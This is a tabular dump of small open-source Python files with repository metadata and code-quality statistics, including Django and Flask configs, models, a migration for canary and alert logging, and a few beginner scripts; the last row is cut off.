hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
fadf8ad0ce754455f3afaab4832b28a7d01d7a8b
| 91
|
py
|
Python
|
modelzoo/apps.py
|
SuperElastix/ElastixModelZooWebsite
|
00d7b4aec8eb04c285d3771d53310079a3443fab
|
[
"Apache-2.0"
] | 1
|
2021-11-15T07:30:24.000Z
|
2021-11-15T07:30:24.000Z
|
modelzoo/apps.py
|
SuperElastix/ElastixModelZooWebsite
|
00d7b4aec8eb04c285d3771d53310079a3443fab
|
[
"Apache-2.0"
] | null | null | null |
modelzoo/apps.py
|
SuperElastix/ElastixModelZooWebsite
|
00d7b4aec8eb04c285d3771d53310079a3443fab
|
[
"Apache-2.0"
] | null | null | null |
from django.apps import AppConfig
class ModelzooConfig(AppConfig):
name = 'modelzoo'
| 15.166667
| 33
| 0.758242
| 10
| 91
| 6.9
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.164835
| 91
| 5
| 34
| 18.2
| 0.907895
| 0
| 0
| 0
| 0
| 0
| 0.087912
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
faf0fdc65278cadd936ef392f1b61bcf614377b4
| 226
|
py
|
Python
|
example_project/server/django_server/ajax_client/urls.py
|
ghuntley/simpleapi
|
e64e05e9b2276098d3442db174a4d0204be56b39
|
[
"MIT"
] | 1
|
2019-06-27T11:41:03.000Z
|
2019-06-27T11:41:03.000Z
|
example_project/server/django_server/ajax_client/urls.py
|
ghuntley/simpleapi
|
e64e05e9b2276098d3442db174a4d0204be56b39
|
[
"MIT"
] | null | null | null |
example_project/server/django_server/ajax_client/urls.py
|
ghuntley/simpleapi
|
e64e05e9b2276098d3442db174a4d0204be56b39
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
from django.conf.urls.defaults import *
from django.views.generic.simple import direct_to_template
urlpatterns = patterns('',
(r'^$', direct_to_template, {'template': 'ajax_client/index.html'}),
)
| 28.25
| 72
| 0.707965
| 29
| 226
| 5.344828
| 0.758621
| 0.129032
| 0.206452
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005
| 0.115044
| 226
| 8
| 73
| 28.25
| 0.77
| 0.09292
| 0
| 0
| 0
| 0
| 0.156863
| 0.107843
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.4
| 0
| 0.4
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
878a24f530c1af7566b8684171f362df9aafb83c
| 52
|
py
|
Python
|
repositories/__init__.py
|
Simon1093/book-shop
|
03b9b9af9ee671adaa19b05700aba94a51b5a7c6
|
[
"MIT"
] | null | null | null |
repositories/__init__.py
|
Simon1093/book-shop
|
03b9b9af9ee671adaa19b05700aba94a51b5a7c6
|
[
"MIT"
] | null | null | null |
repositories/__init__.py
|
Simon1093/book-shop
|
03b9b9af9ee671adaa19b05700aba94a51b5a7c6
|
[
"MIT"
] | null | null | null |
from .pastebin_repository import PasteBinRepository
| 26
| 51
| 0.903846
| 5
| 52
| 9.2
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.076923
| 52
| 1
| 52
| 52
| 0.958333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
878fc39d9a86ab186e65855518088841dbb77f1c
| 962
|
py
|
Python
|
addresses/models.py
|
indoriyasboyz/E-commerce
|
a71e7d043899769e48992216bebebc4b43d647ca
|
[
"MIT"
] | null | null | null |
addresses/models.py
|
indoriyasboyz/E-commerce
|
a71e7d043899769e48992216bebebc4b43d647ca
|
[
"MIT"
] | null | null | null |
addresses/models.py
|
indoriyasboyz/E-commerce
|
a71e7d043899769e48992216bebebc4b43d647ca
|
[
"MIT"
] | null | null | null |
from django.db import models
from billing.models import BillingProfile
ADDRESS_TYPES = (
('billing', 'Billing'),
('shipping', 'Shipping')
)
class Address(models.Model):
billing_profile = models.ForeignKey(BillingProfile, null=True, blank=False, on_delete=models.SET_NULL)
address_type = models.CharField(max_length=120, choices=ADDRESS_TYPES)
address_line_1 = models.CharField(max_length=120)
address_line_2 = models.CharField(max_length=120, null=True, blank=True)
city = models.CharField(max_length=120)
country = models.CharField(max_length=120, default='Turkey')
state = models.CharField(max_length=120)
postal_code = models.CharField(max_length=120)
def __str__(self):
return str(self.billing_profile) + ' : ' + str(self.address_type).upper()
def get_address(self):
return f"{self.address_line_1} {self.address_line_2 or ''} / {self.state}, {self.city} {self.postal_code} {self.country}"
| 38.48
| 129
| 0.725572
| 128
| 962
| 5.21875
| 0.351563
| 0.157186
| 0.188623
| 0.251497
| 0.282934
| 0
| 0
| 0
| 0
| 0
| 0
| 0.030414
| 0.14553
| 962
| 25
| 129
| 38.48
| 0.782238
| 0
| 0
| 0
| 0
| 0.052632
| 0.155763
| 0.021807
| 0
| 0
| 0
| 0
| 0
| 1
| 0.105263
| false
| 0
| 0.105263
| 0.105263
| 0.789474
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
8794c79e6d4b49773109e2e11fa609b458c76872
| 2,421
|
py
|
Python
|
toucan/alert_api/migrations/0001_initial.py
|
toucan-project/TOUCAN
|
d562e1191b5ef10480be819ba8c584034c25259b
|
[
"MIT"
] | 4
|
2019-08-28T14:36:23.000Z
|
2019-08-30T09:49:12.000Z
|
toucan/alert_api/migrations/0001_initial.py
|
toucan-project/TOUCAN
|
d562e1191b5ef10480be819ba8c584034c25259b
|
[
"MIT"
] | 2
|
2021-04-20T17:09:30.000Z
|
2021-09-23T23:26:22.000Z
|
toucan/alert_api/migrations/0001_initial.py
|
toucan-project/TOUCAN
|
d562e1191b5ef10480be819ba8c584034c25259b
|
[
"MIT"
] | 1
|
2020-01-22T20:01:58.000Z
|
2020-01-22T20:01:58.000Z
|
# Generated by Django 2.2.3 on 2019-08-27 10:12
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='CanaryAlertItem',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('date', models.DateTimeField()),
('identifier', models.CharField(max_length=50)),
('canary_type', models.CharField(max_length=4)),
('location', models.CharField(max_length=50)),
('ip', models.CharField(max_length=15)),
('node', models.CharField(blank=True, max_length=10)),
('user_agent', models.CharField(blank=True, max_length=250)),
('smb_loc', models.CharField(blank=True, max_length=50)),
('filename', models.CharField(blank=True, max_length=255)),
],
),
migrations.CreateModel(
name='MimiAlertItem',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('machinename', models.CharField(max_length=50)),
('sid', models.CharField(max_length=20)),
('pid', models.IntegerField()),
('date', models.DateTimeField()),
('source', models.CharField(max_length=255)),
('md5', models.CharField(max_length=32)),
('sha1', models.CharField(max_length=40)),
('target', models.CharField(max_length=255)),
('accessMask', models.CharField(max_length=4)),
('stack', models.CharField(max_length=999)),
],
),
migrations.CreateModel(
name='SampleItem',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('md5', models.CharField(max_length=32, unique=True)),
('sha1', models.CharField(max_length=40, unique=True)),
('sha256', models.CharField(max_length=64, unique=True)),
('ssdeep', models.CharField(max_length=148)),
('sample', models.FileField(upload_to='samples')),
],
),
]
| 42.473684
| 114
| 0.551012
| 235
| 2,421
| 5.53617
| 0.353191
| 0.230592
| 0.221368
| 0.295158
| 0.51422
| 0.374327
| 0.182168
| 0.182168
| 0.182168
| 0.182168
| 0
| 0.038915
| 0.299463
| 2,421
| 56
| 115
| 43.232143
| 0.728184
| 0.018587
| 0
| 0.346939
| 1
| 0
| 0.084667
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.020408
| 0
| 0.102041
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
87972328e81aacc489fee9da7362c4fcec06a852
| 174
|
py
|
Python
|
python/local-for.py
|
tbedford/code-snippets
|
9afe36c2726829f14fa5ec11acb8214bed704938
|
[
"MIT"
] | null | null | null |
python/local-for.py
|
tbedford/code-snippets
|
9afe36c2726829f14fa5ec11acb8214bed704938
|
[
"MIT"
] | null | null | null |
python/local-for.py
|
tbedford/code-snippets
|
9afe36c2726829f14fa5ec11acb8214bed704938
|
[
"MIT"
] | 1
|
2018-10-09T02:03:12.000Z
|
2018-10-09T02:03:12.000Z
|
def my_func(count=4):
for i in range (1, 5):
print("count", count)
if count == 2:
print("count", count)
count = count - 1
my_func()
| 17.4
| 33
| 0.488506
| 25
| 174
| 3.32
| 0.56
| 0.481928
| 0.361446
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.045455
| 0.367816
| 174
| 9
| 34
| 19.333333
| 0.709091
| 0
| 0
| 0.285714
| 0
| 0
| 0.057803
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.142857
| false
| 0
| 0
| 0
| 0.142857
| 0.285714
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
87ca3a15e9e075458189419f7fbdf67f0a94cb5c
| 110
|
py
|
Python
|
abc254/a/main.py
|
seigot/atcoder
|
6c2da684c75b7c5de162de3713a13507aeecce1d
|
[
"MIT"
] | 2
|
2021-12-28T11:43:47.000Z
|
2022-02-20T14:41:27.000Z
|
abc254/a/main.py
|
seigot/atcoder
|
6c2da684c75b7c5de162de3713a13507aeecce1d
|
[
"MIT"
] | null | null | null |
abc254/a/main.py
|
seigot/atcoder
|
6c2da684c75b7c5de162de3713a13507aeecce1d
|
[
"MIT"
] | null | null | null |
s = str(input())
ss = ''.join(list(reversed(s)))
sss = ss[:2]
ssss = ''.join(list(reversed(sss)))
print(ssss)
| 18.333333
| 35
| 0.6
| 18
| 110
| 3.666667
| 0.611111
| 0.242424
| 0.484848
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.010309
| 0.118182
| 110
| 5
| 36
| 22
| 0.670103
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.2
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
87d9822daad3fd6ab117e7b34cc822b4c5d97a44
| 174
|
py
|
Python
|
skmine/periodic/__init__.py
|
sdall/scikit-mine
|
a8b63035ff1d766924788d16df136eb1dcc49da3
|
[
"BSD-3-Clause"
] | null | null | null |
skmine/periodic/__init__.py
|
sdall/scikit-mine
|
a8b63035ff1d766924788d16df136eb1dcc49da3
|
[
"BSD-3-Clause"
] | null | null | null |
skmine/periodic/__init__.py
|
sdall/scikit-mine
|
a8b63035ff1d766924788d16df136eb1dcc49da3
|
[
"BSD-3-Clause"
] | null | null | null |
"""
The :mod:`skmine.periodic` implements tools to tackle periodicity in
datasets, preferably presentend in the form of event logs
"""
from .cycles import PeriodicCycleMiner
| 29
| 68
| 0.793103
| 23
| 174
| 6
| 0.913043
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.132184
| 174
| 5
| 69
| 34.8
| 0.913907
| 0.724138
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
35948db173b7bbd5ba900cd657faaa2ef535e475
| 106
|
py
|
Python
|
sugarpidisplay/sugarpiconfig/__init__.py
|
szpaku80/SugarPiDisplay
|
793c288afaad1b1b6921b0d29ee0e6a537e42384
|
[
"MIT"
] | 1
|
2022-02-12T20:39:20.000Z
|
2022-02-12T20:39:20.000Z
|
sugarpidisplay/sugarpiconfig/__init__.py
|
szpaku80/SugarPiDisplay
|
793c288afaad1b1b6921b0d29ee0e6a537e42384
|
[
"MIT"
] | null | null | null |
sugarpidisplay/sugarpiconfig/__init__.py
|
szpaku80/SugarPiDisplay
|
793c288afaad1b1b6921b0d29ee0e6a537e42384
|
[
"MIT"
] | null | null | null |
from flask import Flask
app = Flask(__name__)
app.secret_key = 'my secret key 123'
from .views import *
| 15.142857
| 36
| 0.735849
| 17
| 106
| 4.294118
| 0.588235
| 0.246575
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.034483
| 0.179245
| 106
| 6
| 37
| 17.666667
| 0.804598
| 0
| 0
| 0
| 0
| 0
| 0.161905
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
35e0a6e230640f363f96585a666f96aa4c9a6376
| 584
|
py
|
Python
|
py/h2o_config_dump_example.py
|
vkuznet/h2o
|
e08f7014f228cbaecfb21f57379970e6a3ac0756
|
[
"Apache-2.0"
] | 1
|
2017-12-14T04:57:51.000Z
|
2017-12-14T04:57:51.000Z
|
py/h2o_config_dump_example.py
|
hansight/h2o
|
d7eee8b69dd3538b83412989eee361d2a2883857
|
[
"Apache-2.0"
] | null | null | null |
py/h2o_config_dump_example.py
|
hansight/h2o
|
d7eee8b69dd3538b83412989eee361d2a2883857
|
[
"Apache-2.0"
] | 1
|
2018-12-18T06:18:55.000Z
|
2018-12-18T06:18:55.000Z
|
# used to create example of what we want for the json file
# not used for normal execution
hostDict = {}
hostDict['username'] = '0xdiag'
hostDict['password'] = '0xdiag'
hostDict['h2o_per_host'] = 2
hostDict['ip'] = []
hostDict['ip'].append('192.168.0.30')
hostDict['ip'].append('192.168.0.31')
hostDict['ip'].append('192.168.0.32')
hostDict['ip'].append('192.168.0.33')
hostDict['ip'].append('192.168.0.34')
jsonConfig = json.dumps(hostDict, sort_keys=False, indent=4)
print jsonConfig
with open('example.json', 'wb') as fp:
json.dump(hostDict, fp, sort_keys=False, indent=4)
| 27.809524
| 60
| 0.693493
| 93
| 584
| 4.311828
| 0.505376
| 0.149626
| 0.199501
| 0.236908
| 0.386534
| 0.286783
| 0
| 0
| 0
| 0
| 0
| 0.097889
| 0.107877
| 584
| 20
| 61
| 29.2
| 0.671785
| 0.14726
| 0
| 0
| 0
| 0
| 0.255578
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0.071429
| 0
| null | null | 0.071429
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
ea00eb0dc722603508ff6da0f340041fbe048aaf
| 405
|
py
|
Python
|
lib/clock.py
|
kostyaby/fc-helper
|
727b4418a832cad73fbf3a76b07973ec7dd8f49f
|
[
"MIT"
] | null | null | null |
lib/clock.py
|
kostyaby/fc-helper
|
727b4418a832cad73fbf3a76b07973ec7dd8f49f
|
[
"MIT"
] | null | null | null |
lib/clock.py
|
kostyaby/fc-helper
|
727b4418a832cad73fbf3a76b07973ec7dd8f49f
|
[
"MIT"
] | null | null | null |
from . import Constant
from datetime import date
import os.path
import time
class Clock:
def __init__(self):
self.cached_today = date.today()
self.cached_time = int(time.time() * Constant.Clock.MILLIS_IN_SECOND)
def get_timestamped_directory_name(self, dirname):
return "{}-{}".format(dirname, self.cached_time)
def delta(self, timestamp):
return self.cached_time - timestamp
| 20.25
| 73
| 0.730864
| 55
| 405
| 5.145455
| 0.509091
| 0.141343
| 0.14841
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.162963
| 405
| 19
| 74
| 21.315789
| 0.834808
| 0
| 0
| 0
| 0
| 0
| 0.012346
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.333333
| 0.166667
| 0.833333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 4
|
ea0f5b77f66f23c9063b848f5d615513c4c0eb9c
| 227
|
py
|
Python
|
postgres_connector/errors.py
|
sandboxws/beam-postgres-connector
|
d08ed08e96991704fc234dd1e4d2ddf13f1885c1
|
[
"MIT"
] | null | null | null |
postgres_connector/errors.py
|
sandboxws/beam-postgres-connector
|
d08ed08e96991704fc234dd1e4d2ddf13f1885c1
|
[
"MIT"
] | null | null | null |
postgres_connector/errors.py
|
sandboxws/beam-postgres-connector
|
d08ed08e96991704fc234dd1e4d2ddf13f1885c1
|
[
"MIT"
] | null | null | null |
"""Postgres Connector error classes."""
class PostgresConnectorError(Exception):
"""Base class for all errors."""
class PostgresClientError(PostgresConnectorError):
"""An error specific to the PostgreSQL driver."""
| 22.7
| 53
| 0.740088
| 22
| 227
| 7.636364
| 0.818182
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.140969
| 227
| 9
| 54
| 25.222222
| 0.861538
| 0.45815
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
ea2d58f84b5df514e7e02a75e584d4a100903b8b
| 83
|
py
|
Python
|
oreo/apps.py
|
Caiseyann/instagram
|
d2bdaeb14eeb1b270e3164072153409f2f04f794
|
[
"MIT"
] | null | null | null |
oreo/apps.py
|
Caiseyann/instagram
|
d2bdaeb14eeb1b270e3164072153409f2f04f794
|
[
"MIT"
] | null | null | null |
oreo/apps.py
|
Caiseyann/instagram
|
d2bdaeb14eeb1b270e3164072153409f2f04f794
|
[
"MIT"
] | null | null | null |
from django.apps import AppConfig
class OreoConfig(AppConfig):
name = 'oreo'
| 13.833333
| 33
| 0.73494
| 10
| 83
| 6.1
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.180723
| 83
| 5
| 34
| 16.6
| 0.897059
| 0
| 0
| 0
| 0
| 0
| 0.048193
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
ea67a0fe482d979117822e61e98bbf945251fa7a
| 51
|
py
|
Python
|
src/pythonFEA/constraints/__init__.py
|
honzatomek/pythonFEA
|
c851c20800a06cc2084ef53dfd2ab67e7dfbc3b7
|
[
"MIT"
] | null | null | null |
src/pythonFEA/constraints/__init__.py
|
honzatomek/pythonFEA
|
c851c20800a06cc2084ef53dfd2ab67e7dfbc3b7
|
[
"MIT"
] | null | null | null |
src/pythonFEA/constraints/__init__.py
|
honzatomek/pythonFEA
|
c851c20800a06cc2084ef53dfd2ab67e7dfbc3b7
|
[
"MIT"
] | null | null | null |
from .constraint.nodal import Suppress, Prescribe
| 17
| 49
| 0.823529
| 6
| 51
| 7
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.117647
| 51
| 2
| 50
| 25.5
| 0.933333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
576db8ecb910097b59d2f43587f1d66641640a59
| 183
|
py
|
Python
|
Chapter09/filewrite1.py
|
LuisPereda/Learning_Python
|
e89e69346c5584be10d991010f39b59329793ba5
|
[
"MIT"
] | null | null | null |
Chapter09/filewrite1.py
|
LuisPereda/Learning_Python
|
e89e69346c5584be10d991010f39b59329793ba5
|
[
"MIT"
] | null | null | null |
Chapter09/filewrite1.py
|
LuisPereda/Learning_Python
|
e89e69346c5584be10d991010f39b59329793ba5
|
[
"MIT"
] | null | null | null |
file_input = open("motivation.txt",'w')
file_input.write("Never give up")
file_input.write("\nRise above hate")
file_input.write("\nNo body remember second place")
file_input.close()
| 36.6
| 51
| 0.759563
| 29
| 183
| 4.62069
| 0.655172
| 0.335821
| 0.313433
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.081967
| 183
| 5
| 52
| 36.6
| 0.797619
| 0
| 0
| 0
| 0
| 0
| 0.413043
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
5779ee13cb7483546b7269ccd2b8023e510e1921
| 206
|
py
|
Python
|
exercisio23.py
|
bruno194/EXERCICIOS
|
cf7f00020515731031275a9b8d2696d7bf3bb5dc
|
[
"MIT"
] | 1
|
2022-02-25T13:28:46.000Z
|
2022-02-25T13:28:46.000Z
|
exercisio23.py
|
bruno194/EXERCICIOS
|
